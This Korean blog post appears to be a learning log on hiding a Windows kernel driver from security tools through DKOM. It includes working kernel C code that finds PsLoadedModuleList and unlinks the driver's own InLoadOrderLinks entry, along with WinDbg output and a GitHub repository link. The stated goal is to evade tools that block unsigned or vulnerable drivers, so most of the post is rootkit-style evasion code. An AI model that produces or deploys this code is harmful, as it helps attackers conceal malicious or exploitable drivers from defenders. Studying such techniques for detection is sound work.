커널 드라이버 숨기기
- 서명이 되어있지 않은 or 만료된 드라이버의 경우 대부분의 보안 도구에서 차단함.
- 취약 드라이버의 경우는 서명이 만료됨
- 임의로 제작한 드라이버의 경우는 서명이 되어있지 않음.
- 따라서, 임의로 제작하였거나 취약한 드라이버를 보안도구에서 차단하여 공격을 방어하는것이 목적임.
- 이러한 보호기법을 우회하기 위해 생성한 서비스와 로드한 드라이버를 숨기는 행위가 필요함.
드라이버와 관련된 정보를 담고있는 객체들을 각각 조작하는 DKOM 을 진행하는 방식으로 커널에 로드된 모듈을 숨긴다.
모듈에 대한 정보는 유저와 커널 모두에서 각각 조회가 가능하므로, 둘 모두에서 알 수 없게 해야한다.
로드된 드라이버가 자기 자신의 정보를 숨기는 식으로 동작하고 , 유저모드에서는 단순히 드라이버를 로드하는 기능만 제공한다.
서비스를 숨기는데는 여러가지 방법이 있는데,
InLoadOrderLinks
조작PiDDBCacheTable
조작KernelHashBucketList
조작ClearMmUnloadedDriver
조작- 이 중 첫번째 방법인
InLoadOrderLinks
을 제일 먼저 해보려고 한다.
드라이버를 서비스 형태로 등록하면 DRIVER_OBJECT
가 할당되며, 해당 구조체로부터 드라이버 정보가 담긴 LDR_DATA_TABLE_ENTRY
구조체에 다다를 수 있다.
진행 순서
- 드라이버 리스트 출력
- InLoadOrderLinks 변조
1. 드라이버 리스트 출력
sc query
- 지정한 드라이버 상태 출력
C:\Users\synod2>sc query xboxgip
SERVICE_NAME: xboxgip
종류 : 1 KERNEL_DRIVER
상태 : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
검사점 : 0x0
WAIT_HINT : 0x0
PsLoadedModuleList
- 포인터가 담긴 리스트
- 각 포인터를 따라가면
_LDR_DATA_TABLE_ENTRY
구조체 형태로 ****커널 모듈 정보가 담겨있음.
3: kd> dq PsLoadedModuleList
fffff806`49a2a2d0 ffffa901`e1c53a50 ffffa901`e653dc00
fffff806`49a2a2e0 fffff806`497b1000 fffff806`497b1fff
fffff806`49a2a2f0 00000000`00000010 ffffa901`e312d010
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY ffffa901`e1c53a50
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xffffa901`e1c53e60 - 0xfffff806`49a2a2d0 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0xfffff806`48ec9000 - 0x00000000`00067cf8 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x030 DllBase : 0xfffff806`48e00000 Void
+0x038 EntryPoint : 0xfffff806`4978c010 Void
+0x040 SizeOfImage : 0x1046000
+0x048 FullDllName : _UNICODE_STRING "\SystemRoot\system32\ntoskrnl.exe"
+0x058 BaseDllName : _UNICODE_STRING "ntoskrnl.exe"
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY ffffa901`e653dc00
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xfffff806`49a2a2d0 - 0xffffa901`e95c5890 ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0xfffff806`46b95000 - 0x00000000`000000e4 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
+0x030 DllBase : 0xfffff806`46b90000 Void
+0x038 EntryPoint : 0xfffff806`46b96000 Void
+0x040 SizeOfImage : 0x8000
+0x048 FullDllName : _UNICODE_STRING "\SystemRoot\mydriver\MyDriver1.sys"
+0x058 BaseDllName : _UNICODE_STRING "MyDriver1.sys"
3: kd> dt nt!_LDR_DATA_TABLE_ENTRY fffff806`497b1000
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xcccccccc`cccccccc - 0xcccccccc`cccccccc ]
+0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x5c8b4808`245c8948 - 0xf800b8d2`33452824 ]
+0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x11884510`8945ffff - 0x85481388`44d98b4d ]
+0x030 DllBase : 0x4c000001`b7850fc8 Void
+0x038 EntryPoint : 0x777510e1`8341c98b Void
+0x040 SizeOfImage : 0x25c18b48
+0x048 FullDllName : _UNICODE_STRING "--- memory read error at address 0x41c1b60f`00000200 ---"
+0x058 BaseDllName : _UNICODE_STRING "--- memory read error at address 0x8b44d244`0f41c1b6 ---"
_LIST_ENTRY
구조체InLoadOrderLinks
에 다음/이전 모듈의 정보가 담겨있다.BASE
,FullDllName
에 각각 드라이버의 이름, 전체경로가 담긴다.InLoadOrderLinks
순회를 통해 전체 드라이버의 목록 받아올 수 있음.- ntoskrnl 이 항상 리스트의 맨 첫번째에 위치함.
- 첫 모듈의 BLink는
PsLoadedModuleList
를 가리킴 - 즉, Ntoskrnl 의 BLink =
PsLoadedModuleList
주소
GetKernelModuleAddress
- KDMapper에서 사용하는 Util 함수
- 유저모드에서 동작함
- 문자열로 모듈의 이름 전달
- 전달받은 모듈의 주소값을 반환함.
위 두가지 방법으로 드라이버 정보를 볼 수 없게 만드는것이 목표(?)
코드 작성
우선 전체 드라이버 목록을 받아오는 코드를 작성한다.
시나리오
- 커널 베이스 주소 찾기 -
ZwQuerySystemInformation
- 찾아온 주소로부터
PsLoadedModuleList
접근 InLoadOrderLinks
순회하면서FULLDllName
출력- profit!
코드 동작 순서
SystemInformation
객체 크기 반환받기- 반환받은 크기만큼 동적할당
- 동적할당한 메모리 위치에
SystemInformation
객체 복사 SystemInformation
Module 리스트 첫 멤버의 ImageBase = KernelBase- 현재 로드된 드라이버 모듈의
_KLDR_DATA_TABLE_ENTRY
구조체 찾기 - 드라이버 모듈의
_KLDR_DATA_TABLE_ENTRY
구조체에서 FLink를 참조하여 이전 모듈 찾아 올라감 - 찾아낸 모듈의 DLLBase가 KernelBase와 일치하는지 체크
- 찾아낸 모듈의 BLINK가 Ntoskrnl 모듈 메모리 범위 내에 있는지 체크하여 Ntoskrnl 모듈의 포인터를 찾아왔는지 확인 → 제일 첫 모듈까지 탐색했는지 확인하는 구문 역할
- 제대로 찾아왔다면 해당 모듈(Ntoskrnl 모듈) 의 BLink 가
PsLoadedModuleList
가 됨. - 제일 첫 모듈인 Ntoskrnl 부터 다시
InLoadOrderLinks
순회
1. 커널 베이스 주소 찾기 - ZwQuerySystemInformation
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
- 해당 시스템의 정보를 반환함
SYSTEM_MODULE_INFORMATION
구조체 포인터를 반환SYSTEM_MODULE_INFORMATION
안의 Module 멤버는 포인터 리스트 형태로, 실제 시스템 정보를 담고있는_SYSTEM_MODULE_ENTRY
구조체 형태.- 마지막 인자를 지정하여
SystemInformation
객체의 크기를 반환받을 수 있다.
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[1]; // *_SYSTEM_MODULE_ENTRY* 포인터 리스트
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
_SYSTEM_MODULE_INFORMATION
리스트의 첫 멤버는 항상 ntoskrnl임- 따라서 첫 모듈의
ImageBase
를 찾아오면 KernelBase Address를 찾을 수 있음.
PVOID GetKernelBaseAddress() {
NTSTATUS status = STATUS_SUCCESS;
ULONG bytes = 0;
PSYSTEM_MODULE_INFORMATION pMods = NULL;
PVOID KernelBase = 0;
// SystemModuleInformation 크기 반환
status = ZwQuerySystemInformation(SystemModuleInformation, 0, bytes, &bytes);
/*if (status == STATUS_INFO_LENGTH_MISMATCH)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== LENGTH MISMATCH ERROR ====== \n");
return 0;
}*/
// 반환받은 크기만큼 동적 메모리 할당
pMods = (PSYSTEM_MODULE_INFORMATION)ExAllocatePoolWithTag(NonPagedPool, bytes, '1doM');
if (pMods == 0){
dmsg("Allocate Fail");
return 0;
}
RtlZeroMemory(pMods, bytes);
status = ZwQuerySystemInformation(SystemModuleInformation, pMods, bytes, &bytes);
//커널베이스 주소 찾기
if (status == STATUS_SUCCESS) {
if (pMods) {
PSYSTEM_MODULE_ENTRY pMod = pMods->Modules;
if (pMods->Modules) {
KernelBase = pMod[0].ImageBase;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== KernelBase : %0llx ====== \n", KernelBase);
}
}
}
ExFreePoolWithTag(pMods, '1doM');
return KernelBase;
}
디버깅 검증
===== Sysinfo size : e3d0 ======
===== pMods Address : ffffe2818c103000 ======
===== PMod : ffffe2818c103008 ======
===== KernelBase : fffff80749600000 ======
dt nt!_LDR_DATA_TABLE_ENTRY ffffe281`8c653850
2. 찾아온 주소로부터 PsLoadedModuleList 접근
typedef struct _DRIVER_OBJECT {
CSHORT Type;
CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;
PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;
PUNICODE_STRING HardwareDatabase;
PFAST_IO_DISPATCH FastIoDispatch;
PDRIVER_INITIALIZE DriverInit;
PDRIVER_STARTIO DriverStartIo;
PDRIVER_UNLOAD DriverUnload;
PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;
- DriverEntry 함수의 인자로 넘어오는 DriverObject는
DRIVER_OBJECT
구조체 형식을 가짐 - 그 중 DriverSection 멤버는 현재 드라이버의 커널 모듈 정보를
_KLDR_DATA_TABLE_ENTRY
구조체 형태로 가짐
struct _KLDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
VOID* ExceptionTable; //0x10
ULONG ExceptionTableSize; //0x18
VOID* GpValue; //0x20
struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; //0x28
VOID* DllBase; //0x30
VOID* EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
ULONG Flags; //0x68
USHORT LoadCount; //0x6c
union
{
USHORT SignatureLevel:4; //0x6e
USHORT SignatureType:3; //0x6e
USHORT Unused:9; //0x6e
USHORT EntireField; //0x6e
} u1; //0x6e
VOID* SectionPointer; //0x70
ULONG CheckSum; //0x78
ULONG CoverageSectionSize; //0x7c
VOID* CoverageSection; //0x80
VOID* LoadedImports; //0x88
VOID* Spare; //0x90
ULONG SizeOfImageNotRounded; //0x98
ULONG TimeDateStamp; //0x9c
};
- 현재 로드된 모듈로부터 커널 베이스 모듈인 Ntoskrnl 까지 Blink를 참조해 넘어가면서 탐색 진행
- 현재 모듈의 BLINK 주소가 커널모듈 메모리 범위 내에 있다면 현재 모듈이 커널 모듈이라는 의미
- 또한 BLINK가
PsLoadedModuleList
를 가리킨다는 의미가 됨.
//PsLoadedModuleList 주소 뽑아오는 동작
PVOID GetPModuleList(PKLDR_DATA_TABLE_ENTRY pThisModule,PVOID KernelBase) {
for (PLIST_ENTRY pListEntry = pThisModule->InLoadOrderLinks.Flink; pListEntry != &pThisModule->InLoadOrderLinks; pListEntry = pListEntry->Flink) {
PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (KernelBase == pEntry->DllBase) {
if ((PVOID)pListEntry->Blink >= pEntry->DllBase && (PUCHAR)pListEntry->Blink < (PUCHAR)pEntry->DllBase + pEntry->SizeOfImage)
{
PsLoadedModuleList = pListEntry->Blink;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== PsLoadedModuleList : %0llx ====== \n", PsLoadedModuleList);
break;
}
}
}
return 0;
}
디버깅 검증
===== PsLoadedModuleList : fffff8074a22a2d0 ======
6: kd> dq nt!PsLoadedModuleList
fffff807`4a22a2d0 ffffe281`8c653850 ffffe281`92b912d0
fffff807`4a22a2e0 fffff807`49fb1000 fffff807`49fb1fff
BLINK FLINK BLINK FLINK
Ntoskrnl <-> PsLoadedModuleList <-> ThisModule
FLINK를 따라 올라가면 NtosKrnl이 나오게 되어있음.
3. InLoadOrderLinks 순회하면서 FULLDllName 출력
PsLoadedModuleList
의 FLINK 를 참조하면_KLDR_DATA_TABLE_ENTRY
형식의 구조체 리스트 나옴- 각 구조체는
InLoadOrderLinks
를 가지고 있어, FLINK를 참조하면서 순회 가능 - 순회하면서
FullDllName
필드 출력 - 멈추는 시점은 BLink가
PsLoadedModuleList
를 참조해 순환하는 시점
//PsLoadedModuleList 링크 순회하며 드라이버 이름 출력
PVOID PrintAllModuleList() {
if (PsLoadedModuleList) {
for (PLIST_ENTRY pListEntry = PsLoadedModuleList->Flink; pListEntry->Flink != 0; pListEntry = pListEntry->Flink) {
PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (PsLoadedModuleList == pListEntry)
break;
else
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== DriverName - %ws ====== \n", pEntry->BaseDllName.Buffer);
}
}
else
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== PsLoadedModuleList Error ====== \n");
return 0;
}
===== DriverName - ntoskrnl.exe ======
===== DriverName - hal.dll ======
===== DriverName - kdcom.dll ======
===== DriverName - mcupdate.dll ======
===== DriverName - CLFS.SYS ======
===== DriverName - tm.sys ======
===== DriverName - PSHED.dll ======
서비스에 로드된 모든 드라이버 모듈 목록을 받아오는데 성공했다.
InLoadOrderLinks 변조
- 이전에 프로세스를 숨긴 방법과 유사하게, 원하는 서비스의
InLoadOrderLinks
를 조작하면 리스트에서 숨길 수 있지 않을까? - 자기 자신을 숨기는 동작을 수행할 것 이므로,
DriverObject
를 통해 ThisModule 에 접근하는 시점에서 시도해볼 수 있음. - 현재 드라이버의 FLink가
PsLoadedModuleList
를 가리키고 있고, BLink는 다른 드라이버를 가리키고 있음.- BLink → FLink = this → FLink
- FLink → Blink = this→ BLink
PVOID HidingOrderLInks(PKLDR_DATA_TABLE_ENTRY pThisModule) {
//드라이버 자신 숨기기
PLIST_ENTRY BackModule = pThisModule->InLoadOrderLinks.Blink;
PLIST_ENTRY FrontModule = pThisModule->InLoadOrderLinks.Flink;
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== BackModule : %ws ====== \n", BackModule);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "===== FrontModule : %ws ====== \n", FrontModule);
BackModule->Flink = pThisModule->InLoadOrderLinks.Flink;
FrontModule->Blink = pThisModule->InLoadOrderLinks.Blink;
return 0;
}
InLoadOrderLinks
방식 드라이버 숨기기 완료.
되기는 되지만, 목록 읽어오는 방식이 다르면 목록에서 보일 수 있다.
- Nirsoft의 Driverview에서는 보이지 않는다.
- processhacker에서는 읽어온다 (다만 이건 서비스 목록을 읽는 방식이니까 조금 다를 수 있음. )
링크 끊은 상태로 서비스 해제를 시도하면 블루스크린이 발생하므로, 해당 방식을 사용하는데는 주의가 필요하다.
Github
https://github.com/synod2/KernelDriverHiding
참고 문서
https://shhoya.github.io/windows_kdmap.html
https://github.com/TheCruZ/kdmapper
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=ultract2&logNo=110166939987
https://codetronik.tistory.com/134
https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo
https://github.com/DarthTon/Blackbone